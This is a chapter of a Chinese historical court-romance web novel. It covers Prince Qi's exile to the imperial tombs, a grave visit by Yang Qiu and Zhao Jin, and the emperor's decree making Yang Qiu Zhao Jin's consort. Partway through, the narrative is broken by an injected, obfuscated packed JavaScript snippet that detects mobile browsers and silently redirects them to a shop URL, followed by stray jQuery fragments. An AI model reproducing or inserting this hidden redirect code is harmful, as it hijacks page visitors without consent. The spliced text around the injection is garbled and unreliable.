杨鸢见皇帝毫不犹豫地下旨,先是称了一句‘陛下圣明’,又补充道:“陛下,这颗暗星来到王爷身边,主的是凶煞离散。微臣斗胆,这山外有山之相,最易滋生龙气。”
皇帝忽然沉下脸来,杨鸢不慌不忙,一撩衣摆跪下,从容应对:“陛下恕罪。依谶纬所示,东方之山含岫云,隐有紫光,恰是齐王封地。”
她见皇帝面色不虞,语气愈发恭敬起来:“这一年来,王爷虽然避世清修,然朝中仍然风波不断——”
皇帝已经听懂了杨鸢的暗示,一挥手打断了她:“朕心里有数,你下去吧。”
“微臣告退。”杨鸢退出御书房,曹央立即命太监掌灯,送杨鸢回府。
齐王被逐出京城,名义上是守护皇陵,只不过是换了个地方幽禁而已。
皇帝没说他什么时候能够回来,冯长史等人也被扣留在京城,只有齐王孤身一人上了路。
齐王无疑是郁闷的,他早知道杨鸢报复心重。没想到这一次居然拿这种东西做文章。
皇陵周围一片荒凉肃穆,由禁军轮班值守,昼夜监视着齐王。
齐王已经去了皇陵,暂时不会起什么风浪来,他在皇陵恨得咬牙切齿已是无济于事,不知
是气大伤身,还是另有隐情,齐王很不幸再次被风邪侵体。
虽然由太医院倾力会诊,仍然是让齐王双足落下了残疾。
第二次了,齐王愤恨地想到,这个人已经对他下了两次狠手。
“王爷,在皇陵后山发现了这个。”齐王府的暗卫低声禀报道。
齐王将那一截布料的残片握在掌中,眼里迸发出炽烈的恨意。
冬去春来,冰雪消融,二月初的天气,正是草芽冒头的天气。
沈盈欲将杨婳这些年的诗文集结成册,以凌波居士之名付梓,正在四处誊写杨婳留下的手稿。
杨湫近些日子忙着撰写自己的药方,大部分活,都被杨玥自告奋勇的整理了。
“哎,静梧你的医书进展如何?”沈盈坐在垂珠阁中,提笔沾墨,正在誊写杨婳的诗文。
杨湫正在写序言,垂眸淡淡地应了一声:“初稿已经交付太医院,院正觉得甚好。”
“那就好。”沈盈低声道。
杨湫放下笔,抬眼看着沈盈,只觉面前放着的抄本有些陌生:“这字迹似乎不是大姐的。”
“这是那一日钧兄弟给的,说是他大哥收录下来婉若的诗文。”
沈盈叹息一声,道:“表哥离世之前,特意交代他的。”
杨湫不免沉默下来,两家几经商议,将二人合葬一处风水宝地,只盼来世他们两个人能平安。
“对了,上巳节那日,他们打算去湖心亭纪念。”沈盈目光中仍然透露着点点哀戚:“湖心亭对诗的雅趣,终究是不会再有了。”
“他们两个人以诗会友,神交多年,好不容易才知道对方的身份。”杨湫微微蹙眉,将余下的话都付与一声叹息。
近来发生的事情太多,亲朋挚友纷纷离世,让杨湫头一次心生迷茫。
她并不知为何一生中会有这样多的阴差阳错,总在最让人的期望一次次落空,又留下一点火苗,让活下来的人挣扎着继续向前。
“我竟不知,当初盼着他们能够相认,到底是对是错。”沈盈道。
杨湫沉吟片刻,才缓缓开口:“若是没有这一场相识,他们未必会走上如今的道路;可若是这样,他们是否遗憾,我却不得而知。”
“我听钧兄弟的说法,他们还还一场约没赴。西郊杏花正好,我改日带给他们。”
听沈盈如此说,杨湫立即补上一句:“我也去。”
遗憾与否已经无法验证,杨湫心想爱那个,或许他们决定反抗侯爷也要在一起的时候,绝对是九死不悔。
春日杏花纷纷,杨湫亲手折了一支,带去了杨婳的墓前。
一年前,齐王来侯府拜访,仿佛打开了一扇光怪陆离的大门,让世事陡然间神秘莫测起来。
她还记得去年为了酬谢赵瑾相助拦下齐王,曾在这里送了他一幅画。
“咦?静梧?你也在这里。”
杨湫下意识的回过头去,只见赵瑾手里捏着一只盛放的杏花,似乎也要去拜祭故人。
“你是来拜祭大表哥的?”杨湫问道。
赵瑾点了点头,低声道:“我下月便要正式立府,许久没抽出空来看你。”
“你有正事要忙,我自然不会怪罪。”杨湫微微一笑,和赵瑾并肩走着,闲话家常:“你正式立府之后,是不是也该参与朝会了?”
“是啊。”赵瑾不知为何,看上去总有些惴惴不安:“其实我并没有——”
这个冬天他们失去的太多,得到的总是损有余而补不足。
“多说无益,日后我只怕没有之前这般自由,静梧你放心,我得了空就来找你,绝不会跟你生分了。”
赵瑾信誓旦旦地下了保证,杨湫忍俊不禁,应道:“好,君子一言——”
她向赵瑾伸出了手,赵瑾轻笑了一声,同样握住:“快马一鞭。”
他们两个人将杏花摆在两座相邻的墓前,墓碑前还残留着一些灰烬,看上去刚刚熄灭不久。
沈盈方才拜祭过,便着急着回去整理杨婳的诗集。
眼下坟前出现了另一对灰烬,隐隐闪着金光,赵瑾上前一探,却是半个没烧干净的金元宝。
“咦?还有别人来吊唁?”杨湫不以为意,只道是谢岭的朝中同僚前来拜祭过了。
赵瑾仿佛想起了什么,脸色有些古怪。
“怎么了?是何处不妥?”杨湫见他不声不响,立刻出声询问道。
赵瑾摇摇头,道:“兴许是我多心了,怎么可能是他。”
“他?”杨湫重复了一遍,不由得仔细打量起那个元宝来:“你想起谁了?”
“偶然撞见过闻璟折这些,他的习惯和别人不一样,我便记住了。”
赵瑾拆开余下的半个,目光里带着几分迷惑:“可他不是——”
“还记得我在二姐哪里发现的那个管家杨玖吗?”杨湫缓缓地道,一双眼睛锐利如刀:“金蝉脱壳之计。”
“果然。”赵瑾重重哼了一声,咬牙切齿地道:“等我找到他,一定要他原本吐个干净。”
“你派去寻访周老先生的事情如何了?”杨湫问道。
赵瑾的脸色一点点阴沉下去,过了很久,才吐出一口气:“他们早就回来了。”
杨湫见他如此表情,心里顿时惊讶起来,不由得脱口而出道:“是真的。”
赵瑾点点头,未置一词。
杨湫不免心内感慨万千,强自抑制住自己心绪翻涌,低声道:“冤孽。”
赵瑾叹了口气,默认了杨湫的说法。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540149|203441||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拜祭过杨婳与谢岭二人,他们便各自分别,赵瑾的脚步刚刚踏进宫城,便见到曹央已经在门口等候多时。
“奴婢见过康王殿下,殿下,陛下召见您呢。”
赵瑾随着曹央到了御书房,沉重的门扉合上,顿时只剩下他们父子二人。
如今面对皇帝,赵瑾心里五味杂陈,暗自心惊皇帝当年杀伐果决,又对他这些年的关照多了几分说不出口的沉重心思。
“司天监已经选定吉日,礼部也敲定好了典礼流程。”
皇帝今天找他过来好像真的只是说他的人生大事,随意关心了几句赵瑾,又将话题转移到另一处。
“你既然正式立府,那么婚事也该提上日程了。”皇帝看着赵瑾,难得和颜悦色地问道:“告诉父皇,你可有心仪人选?”
赵瑾懵了一下,一时间尚未反应过来:“此事,此事应当并不着急才是。”
皇帝轻笑了一声,没直接斥责他:“你啊,还当自己是个孩子不成?马上就要出宫立府,男大当婚女大当嫁,有什么好害羞的。”
“儿臣没有。”赵瑾小声反驳道。
皇帝心情甚好,也不计较赵瑾的小小反骨:“瑾儿,你莫不是怕父皇反对?”
“没有的事,儿臣从未这样想过。”赵瑾脑海中倏忽闪过杨湫的脸,试探着问道:“父皇,当真是儿臣说谁都行吗?”
皇帝点点头,赵瑾深呼吸了几番,才跪下低声道:“儿臣,的确有心仪人选。”
“是哪家的姑娘?”皇帝问道。
“先定陵侯三女,太医院院判,杨湫。”赵瑾一字一句说道。
皇帝似乎对这个结果并不十分意外,只淡淡地道:“杨湫。她为父守孝三年,只怕是——”
“父皇。”赵瑾匆匆补充道:“儿臣对静梧的心意日月可鉴,绝不会更改。她守孝三年,儿臣等着就是了。”
“儿臣此生只钟情于静梧一人,绝不会再娶任何一人。”
皇帝还没出口的话直接被堵了回去,只好换了个问题再次试探:“定陵侯府在朝中根基不深,况且她父亲也是声名狼藉,你真要这么做?”
“请父皇明鉴。儿臣与静梧青梅竹马,对她的品行了若指掌,更何况,她数次救儿臣于危难之间,情非昔比。”
皇帝只是淡淡地点点头,看不出喜怒:“朕原本,想要为你选择几位重臣家中适龄的女眷,如今看你这副模样,是认定了杨湫,不打算回头?”
赵瑾回答得十分郑重:“是。儿臣绝不回头。”
“那朕如果不答应呢?”皇帝故意问道。
赵瑾沉默了半晌,抬起头看着皇帝:“儿臣主意已定,绝不更改。”
“夫妻之间,多的是兰因絮果,你就不害怕?”皇帝再一次问道。
“儿臣不怕,纵然前路多舛,儿臣也会走下去。”赵瑾答道。
皇帝出乎意料地笑了,隔着他又好像在看另一个人,说道:“朕不过随口一说,你若是认定了,朕现在就下旨。”
“儿臣多谢父皇。”赵瑾俯身下拜,终于是长出一口气。
杨湫的医书正式刊印出来,广发各州县的那一天,皇帝又下了一道圣旨。
太医院院判杨湫,柔嘉恭顺,怀仁济世,功在邦家,特用命尔为康王正妃。
等到侯爷的三年孝期结束,正式择良辰吉日完婚。